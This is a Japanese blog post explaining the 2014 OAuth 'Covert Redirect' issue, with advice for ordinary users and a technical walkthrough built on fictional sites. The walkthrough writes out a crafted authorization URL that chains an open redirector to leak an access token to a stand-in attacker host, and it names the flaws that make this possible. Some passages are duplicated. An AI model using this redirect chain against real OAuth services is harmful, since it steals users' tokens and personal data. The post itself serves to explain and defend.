Heartbleed問題に乗り遅れたと思ったら今度はCovert Redirectとやらがやってきましたね。
CNETの記事[1]の説明もイマイチよく分からない上に、John Bradley 氏の解説[7]でさらに分からなくなり、右往左往しておられる方もおられるのではないでしょうか。
今回の問題はユーザーが「OK」さえ押さなければ被害を受けることはないという点で、Heartbleed問題よりは影響範囲は少なそうです。
詳細記事を書こうと思っていたら、色々記事が出てきたのでいいかなーと思いつつ投げやりで書きます。
要は、当然のことをやるしかないということです。
何をもって気安くというのかというのは難しいのですが……。
どのWEBサイトか、どの程度の権限を認可するかによります。
メールアドレス、登録された氏名、住所、誕生日などの個人情報を盗まれる恐れがあります。場合によってはクレジットカード番号などが盗まれる場合もあるかもしれませんが、さすがにそれはWEBサイトの設計がヤバイレベルでまずいような気もしなくもないです。
仕組みの問題というよりは実装の問題（まあ、そのような実装を許す時点で仕組みの問題なのかもしれませんが）なので、全てのサービスで修正されることは期待できません。
技術者向けの概要
この攻撃手法は特に目新しいものではありません。
単にOAuthのImplicitフローと、オープンリダイレクタなどの既知の問題点を組み合わせた攻撃手法です。
※ 以下のURLはすべて架空のものです。
※ 例示は主に文献[4][5]を参考にしました。
例えば、正当だけど脆弱なサイト「zeijaku」を考えます。
にアクセスすると、ブラウザは「http://www.google.co.jp/」に移動する仕様です。
URLのチェックは行っていません。いわゆるオープンリダイレクタですね。これ自体を脆弱性とみなすかどうかは議論がある（Googleは脆弱性ではないという立場のようです）のですが、どちらかといえば脆弱といえるでしょう。
この時点で、zeijakuサイトには死亡フラグが立っているような気がしてきましたね！
さて、zeijakuは、OAuthを利用した某SNS用アプリを提供しているとしましょう。
某SNSは以下のようなURLでOAuth認可を行うことになっています。（分かりやすいように、赤字の部分はURLエンコードせずに残しています。実際にはURLエンコードされているものと考えて下さい）
この画面では個人情報の利用についてユーザーに許可を求め、ユーザーが許可すると、最終的にredirect_uriに指定されたURLにアクセストークンと一緒にリダイレクトされます。
ここで伏線を張っておきましょう。脆弱なサイト「zeijaku」とは対照的に、某SNSではセキュリティ上の対策としてアプリに紐付けられているURL「http://zeijaku/」から始まるサイトにしかリダイレクトされない仕様となっています。イイネ！ｂ
アクセストークンは、フラグメントの形式で渡されます。ここでは「123456himitsu」というアクセストークンが発行されたとします。すると、最終的に、ブラウザは以下のURLに遷移します。
このアクセストークン「123456himitsu」を使用することで、zeijakuはユーザーの許可に基づきユーザーの個人情報を某SNSのAPIから取得することができます。これには、emailと誕生日の情報が含まれます。
ここまでは正当なケースの説明です。
では、ここで悪意のあるサイト(warui)の存在を考えてみましょう。
もし、仮に、以下のURLにユーザーを誘導できれば、正当なサイトではないにもかかわらず、悪意のあるサイトwaruiは、ユーザーの個人情報を取得できてしまいます。
「123456himitsu」というアクセストークンさえあれば個人情報が取得できるのですから、当然です。
でも、どうやって誘導すれば良いのでしょうか？
思い出して下さい。
を。
来ました、死亡フラグ。
zeijakuサイトにはオープンリダイレクトの脆弱性がありました。
では、こうしてみるとどうなるでしょう。
（分かりやすいように、赤字の部分はURLエンコードせずに残しています。実際にはURLエンコードされているものと考えて下さい）
伏線を思い出して下さい。
某SNSは確かにURLの検証を行っており「http://zeijaku/」から始まるURL以外にはリダイレクトしないように対策を行っていました。しかし、この場合は「http://zeijaku/redirect?～」も「http://zeijaku/」から始まるURLですから、検証を通ってしまいます。
この結果として、ブラウザは以下のURLに遷移します。
さらに、zeijakuサイトによりリダイレクトされ、ブラウザは以下のURLに遷移します。
※最近のブラウザでは、HTTP 30Xでのリダイレクト後もフラグメントが維持されるためです。[2]
ちなみに、これらの文字列がサーバーに送られなかったとしても、Javascriptで取得することが可能なようです。（筆者注：ここの詳細は追い切れていません。フラグメントの仕様はブラウザやブラウザのバージョンによってバラバラなのでどれが正しいのか…）
おや、これってもしかして…。
そうです、悪意のあるwaruiサイトが個人情報を盗めるパターンです。
こうして、waruiサイトの管理人は、特別に細工したURLをユーザーに踏ませて、認可させるだけで、個人情報を収集できるのです。恐ろしいですね。
ということなのです。
バッファオーバーフローとか破棄されたメモリへのアクセスが云々は読むだけで頭が痛くなりますが、このCovert Redirect問題は、比較的分かりやすいといえるでしょう。それだけに真似をする人は続出するかもしれません。
このような問題は、RFC6819（日本語訳）[3]で指摘されています[4]ので、少し頭を捻れば思いつくような、決して目新しい問題というわけではないようです。既知の問題を組み合わせたら出来てしまったという感じでしょうか。
これらの問題点をいずれかを修正すれば良いだけなのですが、なかなか難しいようです。例えば現実的には完全一致のホワイトリスト方式を実現するというのも難しいという話があります。この問題は、もう少し長引きそうですね。
[1] CNET Japan, AuthとOpenIDに深刻な脆弱性か--Facebookなど大手サイトに影響も
http://japan.cnet.com/news/service/35047497/ (2014/05/07 22:00 閲覧)
[2] EricLaw, URL Fragments and Redirects - IEInternals - Site Home - MSDN Blogs
http://blogs.msdn.com/b/ieinternals/archive/2011/05/16/url-fragments-and-redirects-anchor-hash-missing.aspx (2014/05/07 22:00 閲覧)
[3] RFC6819日本語訳
http://openid-foundation-japan.github.io/rfc6819.ja.html#implicit_flow
[4] Tatsuhiko Miyagawa, Covert Redirect Vulnerability with OAuth 2 - Tatsuhiko Miyagawa's blog
[6] Jing WANG (王晶), Covert Redirect Vulnerability
CNETの記事[1]の説明もイマイチよく分からない上に、John Bradley 氏の解説[7]でさらに分からなくなり、右往左往しておられる方もおられるのではないでしょうか。
今回の問題はユーザーが「OK」さえ押さなければ被害を受けることはないという点で、Heartbleed問題よりは影響範囲は少なそうです。
詳細記事を書こうと思っていたら、色々記事が出てきたのでいいかなーと思いつつ投げやりで書きます。
一般向けの概要
何を気を付ければ良いか
Facebookの画面キャプチャ
- TwitterやFacebookの認可ポップアップ画面（アクセスを許可しますか？などの画面）で、気安く「はい」「許可する」「OK」等をクリックしないこと。たとえ、信頼の出来るアプリやサービスであったとしても。
- 本物の公式サイトのリンクを辿るなど、正当なリンクから認可ポップアップ画面を開く
- そもそも、怪しいリンクはクリックしない。特にメール等で届いた本物か分からないリンクはクリックしない。
要は、当然のことをやるしかないということです。
何をもって気安くというのかというのは難しいのですが……。
どのような被害を受けるか
どのWEBサイトか、どの程度の権限を認可するかによります。
メールアドレス、登録された氏名、住所、誕生日などの個人情報を盗まれる恐れがあります。場合によってはクレジットカード番号などが盗まれる場合もあるかもしれませんが、さすがにそれはWEBサイトの設計がヤバイレベルでまずいような気もしなくもないです。
修正はいつされるか
期待できません。仕組みの問題というよりは実装の問題（まあ、そのような実装を許す時点で仕組みの問題なのかもしれませんが）なので、全てのサービスで修正されることは期待できません。
技術者向けの概要
この攻撃手法は特に目新しいものではありません。
単にOAuthのImplicitフローと、オープンリダイレクタなどの既知の問題点を組み合わせた攻撃手法です。
※ 以下のURLはすべて架空のものです。
※ 例示は主に文献[4][5]を参考にしました。
例えば、正当だけど脆弱なサイト「zeijaku」を考えます。
http://zeijaku/redirect?url=http://www.google.co.jp/
にアクセスすると、ブラウザは「http://www.google.co.jp/」に移動する仕様です。
URLのチェックは行っていません。いわゆるオープンリダイレクタですね。これ自体を脆弱性とみなすかどうかは議論がある（Googleは脆弱性ではないという立場のようです）のですが、どちらかといえば脆弱といえるでしょう。
この時点で、zeijakuサイトには死亡フラグが立っているような気がしてきましたね！
さて、zeijakuは、OAuthを利用した某SNS用アプリを提供しているとしましょう。
某SNSは以下のようなURLでOAuth認可を行うことになっています。（分かりやすいように、赤字の部分はURLエンコードせずに残しています。実際にはURLエンコードされているものと考えて下さい）
http://bou-sns/oauth?client_id=ZEIJAKU-APP-1049214124&redirect_uri=http://zeijaku/login&scope=email,user_birthday
この画面では個人情報の利用についてユーザーに許可を求め、ユーザーが許可すると、最終的にredirect_uriに指定されたURLにアクセストークンと一緒にリダイレクトされます。
ここで伏線を張っておきましょう。脆弱なサイト「zeijaku」とは対照的に、某SNSではセキュリティ上の対策としてアプリに紐付けられているURL「http://zeijaku/」から始まるサイトにしかリダイレクトされない仕様となっています。イイネ！ｂ
アクセストークンは、フラグメントの形式で渡されます。ここでは「123456himitsu」というアクセストークンが発行されたとします。すると、最終的に、ブラウザは以下のURLに遷移します。
http://zeijaku/login#access_token=123456himitsu
このアクセストークン「123456himitsu」を使用することで、zeijakuはユーザーの許可に基づきユーザーの個人情報を某SNSのAPIから取得することができます。これには、emailと誕生日の情報が含まれます。
ここまでは正当なケースの説明です。
では、ここで悪意のあるサイト(warui)の存在を考えてみましょう。
http://warui/login
もし、仮に、以下のURLにユーザーを誘導できれば、正当なサイトではないにもかかわらず、悪意のあるサイトwaruiは、ユーザーの個人情報を取得できてしまいます。
http://warui/login#access_token=123456himitsu
「123456himitsu」というアクセストークンさえあれば個人情報が取得できるのですから、当然です。
でも、どうやって誘導すれば良いのでしょうか？
思い出して下さい。
http://zeijaku/redirect?url=http://www.google.co.jp/
を。
来ました、死亡フラグ。
zeijakuサイトにはオープンリダイレクトの脆弱性がありました。
では、こうしてみるとどうなるでしょう。
（分かりやすいように、赤字の部分はURLエンコードせずに残しています。実際にはURLエンコードされているものと考えて下さい）
http://bou-sns/oauth?client_id=ZEIJAKU-APP-1049214124&redirect_uri=http://zeijaku/redirect?url=http://warui/login&scope=email,user_birthday
伏線を思い出して下さい。
某SNSは確かにURLの検証を行っており「http://zeijaku/」から始まるURL以外にはリダイレクトしないように対策を行っていました。しかし、この場合は「http://zeijaku/redirect?～」も「http://zeijaku/」から始まるURLですから、検証を通ってしまいます。
この結果として、ブラウザは以下のURLに遷移します。
http://zeijaku/redirect?url=http://warui/login#access_token=123456himitsu
さらに、zeijakuサイトによりリダイレクトされ、ブラウザは以下のURLに遷移します。
http://warui/login#access_token=123456himitsu
※最近のブラウザでは、HTTP 30Xでのリダイレクト後もフラグメントが維持されるためです。[2]
ちなみに、これらの文字列がサーバーに送られなかったとしても、Javascriptで取得することが可能なようです。（筆者注：ここの詳細は追い切れていません。フラグメントの仕様はブラウザやブラウザのバージョンによってバラバラなのでどれが正しいのか…）
おや、これってもしかして…。
そうです、悪意のあるwaruiサイトが個人情報を盗めるパターンです。
こうして、waruiサイトの管理人は、特別に細工したURLをユーザーに踏ませて、認可させるだけで、個人情報を収集できるのです。恐ろしいですね。
ということなのです。
バッファオーバーフローとか破棄されたメモリへのアクセスが云々は読むだけで頭が痛くなりますが、このCovert Redirect問題は、比較的分かりやすいといえるでしょう。それだけに真似をする人は続出するかもしれません。
ここが問題！
- zeijakuサイト：
アプリ等のサービスを提供しているドメインと同じドメインにオープンリダイレクタが存在する - bou-snsサイト：
redirect_uriを完全一致のホワイトリスト方式で検証していない - ブラウザ：
フラグメントをリダイレクト先まで維持する
このような問題は、RFC6819（日本語訳）[3]で指摘されています[4]ので、少し頭を捻れば思いつくような、決して目新しい問題というわけではないようです。既知の問題を組み合わせたら出来てしまったという感じでしょうか。
これらの問題点をいずれかを修正すれば良いだけなのですが、なかなか難しいようです。例えば現実的には完全一致のホワイトリスト方式を実現するというのも難しいという話があります。この問題は、もう少し長引きそうですね。
参考文献
[1] CNET Japan, AuthとOpenIDに深刻な脆弱性か--Facebookなど大手サイトに影響も
http://japan.cnet.com/news/service/35047497/ (2014/05/07 22:00 閲覧)
[2] EricLaw, URL Fragments and Redirects - IEInternals - Site Home - MSDN Blogs
http://blogs.msdn.com/b/ieinternals/archive/2011/05/16/url-fragments-and-redirects-anchor-hash-missing.aspx (2014/05/07 22:00 閲覧)
[3] RFC6819日本語訳
http://openid-foundation-japan.github.io/rfc6819.ja.html#implicit_flow
[4] Tatsuhiko Miyagawa, Covert Redirect Vulnerability with OAuth 2 - Tatsuhiko Miyagawa's blog
http://weblog.bulknews.net/post/85008516879/covert-redirect-vulnerability-with-oauth-2 (2014/05/07 22:00 閲覧)
[5] Jing WANG (王晶), Facebook OAuth 2.0 Covert Redirect Vulnerability Based on Ask.com (Information Leakage and URL Redirect)
http://www.tetraph.com/blog/2014/05/hack-facebook-account-based-oauth-2-0-covert-redirect-vulnerability-information-leakage-url-redirect-%E6%94%BB%E5%87%BB%E8%84%B8%E4%B9%A6-%E5%9F%BA%E4%BA%8E-oauth-2-0-%E6%BC%8F%E6%B4%9E/ (2014/05/07 22:00 閲覧)
[5] Jing WANG (王晶), Facebook OAuth 2.0 Covert Redirect Vulnerability Based on Ask.com (Information Leakage and URL Redirect)
http://www.tetraph.com/blog/2014/05/hack-facebook-account-based-oauth-2-0-covert-redirect-vulnerability-information-leakage-url-redirect-%E6%94%BB%E5%87%BB%E8%84%B8%E4%B9%A6-%E5%9F%BA%E4%BA%8E-oauth-2-0-%E6%BC%8F%E6%B4%9E/ (2014/05/07 22:00 閲覧)
[6] Jing WANG (王晶), Covert Redirect Vulnerability
http://tetraph.com/covert_redirect/ (2014/05/07 22:00 閲覧)
[7] OpenID ファウンデーション・ジャパン, 事務局ブログ：「Covert Redirect」についての John Bradley 氏の解説（追記あり）
http://www.openid.or.jp/blog/2014/05/covert-redirect-and-its-real-impact-on-oauth-and-openid-connect.html (2014/05/07 22:49 閲覧)
[7] OpenID ファウンデーション・ジャパン, 事務局ブログ：「Covert Redirect」についての John Bradley 氏の解説（追記あり）
http://www.openid.or.jp/blog/2014/05/covert-redirect-and-its-real-impact-on-oauth-and-openid-connect.html (2014/05/07 22:49 閲覧)
コメント
コメントはまだありません
コメントを書き込むにはログインしてください。
